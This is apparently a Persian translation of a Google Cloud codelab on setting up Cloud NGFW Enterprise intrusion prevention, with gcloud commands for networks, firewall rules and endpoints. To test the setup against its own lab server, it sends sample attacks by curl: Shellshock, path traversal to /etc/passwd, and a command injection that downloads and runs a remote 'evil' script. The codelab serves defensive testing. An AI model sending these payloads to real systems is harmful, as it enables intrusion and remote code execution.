Cloud NGFW Enterprise - سرویس پیشگیری از نفوذ (بدون بازرسی TLS)

1. مقدمه

فایروال نسل بعدی ابر (NGFW)

فایروال Cloud Next Generation یک سرویس فایروال کاملاً توزیع شده با قابلیت های حفاظتی پیشرفته، تقسیم بندی میکرو و پوشش فراگیر برای محافظت از بار کاری Google Cloud شما در برابر حملات داخلی و خارجی است.

Cloud NGFW دارای مزایای زیر است:

  • سرویس فایروال توزیع شده: Cloud NGFW اجرای حالتی و کاملاً توزیع شده مبتنی بر میزبان را در هر بار کاری برای فعال کردن معماری امنیتی بدون اعتماد ارائه می کند.
  • پیکربندی و استقرار ساده شده: Cloud NGFW سیاست های شبکه و دیوار آتش سلسله مراتبی را پیاده سازی می کند که می تواند به یک گره سلسله مراتبی منبع متصل شود. این خط‌مشی‌ها یک تجربه فایروال منسجم را در سراسر سلسله مراتب منابع Google Cloud ارائه می‌کنند.
  • کنترل دانه‌بندی و تقسیم‌بندی خرد: ترکیبی از خط‌مشی‌های فایروال و برچسب‌های مدیریت هویت و دسترسی (IAM) کنترل خوبی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک VM، در سراسر ابر خصوصی مجازی (VPC) فراهم می‌کند. شبکه ها و سازمان ها

Cloud NGFW در سطوح زیر موجود است:

Cloud NGFW Enterprise

Cloud NGFW Enterprise سرویس پیشگیری از نفوذ (IPS) ، یک قابلیت لایه 7 را به پارچه Google Cloud Firewall توزیع شده اضافه می کند. بازرسی TLS برای اجازه بازرسی برای ترافیک رمزگذاری‌شده TLS پشتیبانی می‌شود، اما خارج از محدوده این کد آزمایشگاه است (به Cloud NGFW Enterprise Codelab با بازرسی TLS مراجعه کنید).

اکنون می‌توانید بازرسی‌های قابل اعتماد لایه 7 نسل بعدی فایروال (NGFW) را با کنترل‌های دانه‌ای، بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندی‌های مسیریابی، اجرا کنید.

برای فعال کردن و استقرار کنترل دیوار آتش لایه 7 با IPS، باید کارهای زیر را انجام دهید:

  • مجموعه ای از نقاط پایانی فایروال منطقه ای مدیریت شده Google Cloud ایجاد کنید.
  • به صورت اختیاری یک خط مشی بازرسی TLS ایجاد کنید (که در این نسخه کد پوشش داده نمی شود)
  • به صورت اختیاری یک Trust Config ایجاد کنید (در این نسخه کد پوشش داده نشده است)
  • این نقاط پایانی را با شبکه‌های Virtual Private Cloud (VPC) که در آن به سرویس Cloud NGFW Enterprise نیاز دارید، مرتبط کنید.
  • برای تعیین نمایه های پیشگیری از تهدید برای مسیرهای مختلف ترافیک، تغییرات ساده ای در سیاست های فایروال موجود و قوانین فایروال خود ایجاد کنید.

سیاست های فایروال شبکه

خط مشی فایروال شبکه به عنوان محفظه ای برای قوانین فایروال عمل می کند. قوانین تعریف شده در یک خط مشی فایروال شبکه تا زمانی که این خط مشی با شبکه VPC مرتبط نشود، در هیچ کجا اجرا نمی شوند. هر شبکه VPC می تواند یک خط مشی فایروال شبکه مرتبط با خود داشته باشد. خط‌مشی‌های فایروال شبکه از برچسب‌های تحت کنترل IAM (یا فقط برچسب‌ها) در قوانین فایروال پشتیبانی می‌کنند، که جایگزین برچسب‌های شبکه فعلی می‌شوند و می‌توانند برای ارائه هویت به حجم کار استفاده شوند.

به اشتراک گذاری یک خط مشی فایروال شبکه در بین شبکه ها و ادغام با برچسب های تحت کنترل IAM، پیکربندی و مدیریت فایروال ها را بسیار ساده می کند.

با معرفی خط مشی فایروال شبکه، خط مشی های فایروال Google Cloud اکنون از اجزای زیر تشکیل شده است:

  1. خط مشی فایروال سلسله مراتبی
  2. قوانین فایروال VPC
  3. خط مشی فایروال شبکه ( جهانی و منطقه ای )

خط‌مشی‌های فایروال سلسله مراتبی در سازمان و گره‌های پوشه در سلسله مراتب منابع پشتیبانی می‌شوند، در حالی که قوانین فایروال VPC و سیاست‌های فایروال شبکه در سطح VPC اعمال می‌شوند. یک تفاوت بزرگ بین قوانین فایروال VPC و سیاست های فایروال شبکه این است که قوانین فایروال VPC را می توان تنها برای یک شبکه VPC اعمال کرد، در حالی که سیاست های فایروال شبکه می تواند به یک VPC یا گروهی از VPC ها متصل شود، از جمله مزایای دیگر مانند به روز رسانی دسته ای.

در نهایت، ما قوانین فایروال ضمنی را نیز داریم که با هر شبکه VPC همراه است:

  • یک قانون خروج که عمل آن مجاز است، مقصد 0.0.0.0/0 است
  • یک قانون ورود که عمل آن رد می شود، منبع 0.0.0.0/0 است

به طور پیش فرض، دنباله اجرا در نمودار زیر نشان داده شده است:

21b3bcabc469ffe.png

لطفاً توجه داشته باشید که دستور اجرایی بین قوانین فایروال VPC و خط مشی فایروال شبکه جهانی قابل تعویض است. مشتریان می توانند در هر زمان با دستور gcloud دستور اجرایی را مشخص کنند.

برچسب ها تحت کنترل IAM

برچسب‌های جدید یکپارچه شده در قوانین خط‌مشی فایروال شبکه، منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله مراتب منابع Google Cloud تعریف شده‌اند. چنین برچسبی همانطور که از نامش پیداست شامل یک کنترل دسترسی IAM است که مشخص می‌کند چه کسی می‌تواند چه کاری را روی برچسب انجام دهد. به عنوان مثال، مجوزهای IAM به شخص اجازه می دهد تا مشخص کند که چه اصولی می توانند مقادیری را به برچسب ها اختصاص دهند و چه مدیرانی می توانند برچسب ها را به منابع متصل کنند. هنگامی که یک برچسب بر روی یک منبع اعمال شد، قوانین فایروال شبکه می توانند از آن برای اجازه و رد ترافیک استفاده کنند.

برچسب‌ها به مدل منابع ارثی Google Cloud پایبند هستند، به این معنی که برچسب‌ها و مقادیر آن‌ها در سراسر سلسله مراتب از والدینشان منتقل می‌شوند. در نتیجه، برچسب ها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشه ها و پروژه های دیگر در سراسر سلسله مراتب منابع استفاده شوند. برای جزئیات بیشتر در مورد برچسب ها و محدودیت دسترسی به این صفحه مراجعه کنید.

برچسب ها را نباید با برچسب های شبکه اشتباه گرفت. دومی رشته هایی هستند که می توانند به نمونه های Compute Engine اضافه شوند. آنها با نمونه مرتبط می شوند و زمانی که نمونه از کار افتاده ناپدید می شوند. قوانین فایروال VPC ممکن است شامل برچسب های شبکه باشد، اما از آنجایی که آنها به عنوان منابع ابری در نظر گرفته نمی شوند، تحت کنترل دسترسی IAM نیستند.

توجه داشته باشید که برچسب‌ها و برچسب‌های تحت کنترل IAM به جای یکدیگر در این سند استفاده می‌شوند.

چیزی که خواهی ساخت

این آزمایشگاه کد به یک پروژه واحد و توانایی ایجاد یک شبکه VPC با اتصال عمومی نیاز دارد و نشان می‌دهد که چگونه Cloud NGFW Enterprise می‌تواند عملکرد IPS را با موارد زیر ارائه دهد:

  • بازرسی جریان های درون VPC/زیر شبکه [شرق-غرب]
  • بازرسی جریان های ورودی از اینترنت [شمال-جنوب]

جریان هایی که باید بازرسی شوند با استفاده از پارامترهای تطبیق فایروال ابری از جمله 5 تایی (IP مبدا، IP مقصد، پروتکل، پورت مبدا، پورت مقصد) و برچسب ها انتخاب می شوند. بازرسی TLS در این آزمایشگاه کد گنجانده نشده است.

52a0642ef8668ecf.png

پایگاه قانون خط مشی فایروال شبکه مشابه جدول زیر خواهد بود:

اولویت

جهت

هدف

منبع

مقصد

اقدام

تایپ کنید

100

خروج

قرنطینه_تگ

هر

هر

تکذیب کنید

ملزومات

1000

ورود

Server_Tag

محدوده های بررسی سلامت

هر

اجازه دهید

ملزومات

2000

ورود

هر

محدوده های پروکسی آگاه از هویت

هر

اجازه دهید

ملزومات

3000

ورود

هر

Geo، GCTI

هر

تکذیب کنید

استاندارد

4000

خروج

هر

هر

Geo، GCTI

تکذیب کنید

استاندارد

5000

خروج

هر

هر

FQDN های به روز رسانی سیستم

اجازه دهید

استاندارد

6000

ورود

Server_Tag

10.0.0.0/24

هر

IPS

تصدی

7000

ورود

Server_Tag

CloudNAT_IP

هر

IPS

تصدی

چیزی که یاد خواهید گرفت

آنچه شما نیاز دارید

  • پروژه Google Cloud
  • دانش استقرار نمونه ها و پیکربندی اجزای شبکه
  • دانش پیکربندی فایروال VPC

2. قبل از شروع

ایجاد/به روز رسانی متغیرها

این کد لبه از متغیرهای $ برای کمک به پیاده سازی پیکربندی gcloud در Cloud Shell استفاده می کند.

در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات درون پرانتز را در صورت نیاز جایگزین کنید (اگر پروژه مورد نظر قبلا تنظیم شده است، از تنظیم پروژه صرفنظر کنید). اگر چندین نقطه پایانی فایروال مورد نیاز باشد، برای منابع در سطح سازمان از متغیر دیگری استفاده می شود.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. API ها را فعال کنید

اگر این کار را نکرده اید، API ها را فعال کنید:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. نمایه امنیتی سازمانی Cloud NGFW و ایجاد نقطه پایانی

از آنجایی که ایجاد نقطه پایانی Cloud NGFW Enterprise حدود 20 دقیقه طول می‌کشد، ابتدا ایجاد می‌شود و هنگام ایجاد نقطه پایانی، می‌توان پایه را به صورت موازی انجام داد.

ایجاد نمایه امنیتی و گروه نمایه امنیتی:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

خروجی مورد انتظار:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

تأیید کنید که منابع با موفقیت ایجاد شده اند:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

خروجی مورد انتظار:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

دستور زیر را اجرا کنید تا تأیید کنید که نقطه پایانی در حال ایجاد است (STATE: CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به مشتری مورد استفاده متفاوت باشد):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

فرآیند ایجاد نقطه پایانی حدود 20 دقیقه طول می کشد. برای ایجاد منابع مورد نیاز به صورت موازی به قسمت Base Setup بروید.

5. راه اندازی پایه

اگر ترجیح می دهید منابع پایه را به صورت دستی ایجاد کنید، به بخش های زیر بروید.

شبکه VPC و زیرشبکه

شبکه و زیرشبکه VPC

شبکه و زیر شبکه VPC را ایجاد کنید:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

مسیریاب‌های ابری و دروازه‌های Cloud NAT را ایجاد کنید:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

من موارد

نمونه های سرویس گیرنده و وب سرور را ایجاد کنید:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

برچسب های سطح پروژه

در صورت نیاز مجوزهای tagAdmin و/یا tagUser را به کاربر اختصاص دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

کلید و مقادیر Tag در سطح پروژه را ایجاد کنید:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

پیوند برچسب ها به نمونه ها:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

خط مشی فایروال شبکه جهانی

ایجاد خط مشی فایروال شبکه جهانی:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

قوانین اساسی Cloud Firewall را برای رد کردن ترافیک از نمونه های قرنطینه شده ایجاد کنید (که فقط به عنوان نمونه ایجاد شده است و در این نسخه کد استفاده نمی شود) و اجازه ترافیک از محدوده های پراکسی بررسی سلامت و هویت آگاه را می دهد:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

ایجاد قوانین استاندارد Cloud Firewall برای جلوگیری از ورود و خروج ترافیک از/به کشورهای تحریم شده، IP های مخرب شناخته شده و گره های خروج ToR. و فقط اجازه می دهد تا ترافیک خروجی به FQDN های خاص برای به روز رسانی سیستم (که فقط به عنوان نمونه ایجاد شده است، در این کد لبه استفاده نمی شود):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

قوانین Cloud Firewall را ایجاد کنید تا امکان ورود ترافیک شرقی-غربی / درون زیرشبکه و شمال-جنوب / اینترنت از محدوده های خاص را فراهم کنید (این قوانین برای فعال کردن Cloud NGFW Enterprise به روز می شوند):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

خط مشی فایروال شبکه را به شبکه VPC مرتبط کنید:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

تعادل بار شبکه TCP/UDP خارجی

یک آدرس IP خارجی رزرو کنید و گروه نمونه و بررسی سلامت را ایجاد کنید:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

ایجاد سرویس پشتیبان و قانون حمل و نقل:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise Endpoint Association

در صورت نیاز متغیرهای محیط را دوباره تعریف کنید.

تأیید کنید که ایجاد نقطه پایانی فایروال ابری با موفقیت انجام شده است. فقط زمانی ادامه دهید که حالت به صورت ACTIVE نشان داده شود (در طول ایجاد حالت مورد انتظار در حال ایجاد است):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به مشتری مورد استفاده متفاوت باشد):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

نقطه پایانی Cloud NGFW Enterprise را به شبکه VPC مرتبط کنید:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

فرآیند تداعی حدود 10 دقیقه طول می کشد. فقط زمانی ادامه دهید که حالت به صورت ACTIVE نشان داده شود (وضعیت مورد انتظار در طول فرآیند ایجاد در حال ایجاد است):

gcloud network-security firewall-endpoint-associations list

خروجی مورد انتظار:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

خروجی مورد انتظار:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. قوانین بازرسی سازمانی Cloud NGFW

یک برگه جدید باز کنید و یک اتصال SSH به VM مشتری از طریق IAP شروع کنید (شما باید دوباره متغیرها را در برگه جدید تعریف کنید):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

متغیرهای مورد نیاز را در جلسه SSH تعریف کنید و متغیرها را تنظیم کنید (مطمئن شوید که مقادیر صحیح هستند):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

هر دو IP را بچرخانید تا تأیید کنید که قابل دسترسی هستند:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

نتیجه مورد انتظار برای هر دو درخواست curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

حملات نمونه را به IP سرور داخلی (ترافیک شرق - غرب / داخل VPC) ارسال کنید. وب سرور باید به همه درخواست‌ها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری L7 وجود ندارد:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

نمونه حملات را از طریق Cloud NAT (ترافیک ورودی شمال به جنوب) به IP سرور خارجی ارسال کنید و به طور مشابه وب سرور باید به همه درخواست ها پاسخ دهد:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

نتایج مورد انتظار برای IPهای عمومی و خصوصی:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

به Cloud Shell برگردید و قوانین ورودی موجود را برای فعال کردن بازرسی L7 به روز کنید:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

در صورت تمایل، قوانین فایروال را شرح دهید تا تأیید کنید که هر دو با موفقیت به روز شده اند:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

خروجی مورد انتظار:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

قانون 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

خروجی مورد انتظار:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

به VM مشتری برگردید و نمونه حملات را مجدداً به IP سرور داخلی ارسال کنید (بازرسی شرقی-غربی / درون VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

حملات نمونه را از طریق Cloud NAT (بازرسی ورودی شمال-جنوب) مجدداً به IP سرور خارجی ارسال کنید:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

هیچ پاسخی برای اولین حملات مطابق با خروجی مورد انتظار در زیر دریافت نمی شود، که تأیید می کند که حملات با شدت بالا در حال حاضر مسدود شده اند.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

برای تأیید گزارش‌ها به Network Security > Threats on Cloud Console بروید (اگر حملات هنوز نمایش داده نشده‌اند، ممکن است لازم باشد چند بار بازخوانی کنید).

daa535fcc34873aa.png

یکی از حملات را انتخاب کنید و روی "مشاهده گزارش حسابرسی" در سمت راست کلیک کنید (در یک برگه جدید باز کنید تا به راحتی به عقب برگردید). برای نمایش جزئیات، حمله را گسترش دهید:

5f97cdef79e42eff.png

در صورت تمایل، فیلتر Log Explorer را با عبارت زیر جایگزین کنید:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

ورودی های گزارش تهدید باید مطابق زیر مشاهده شوند:

5ea9581a7eb694c5.png

بسته های رهگیری شده در Cloud Firewall را می توان با استفاده از فیلتر Log Explorer زیر تأیید کرد (برای اهداف عیب یابی مفید است):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

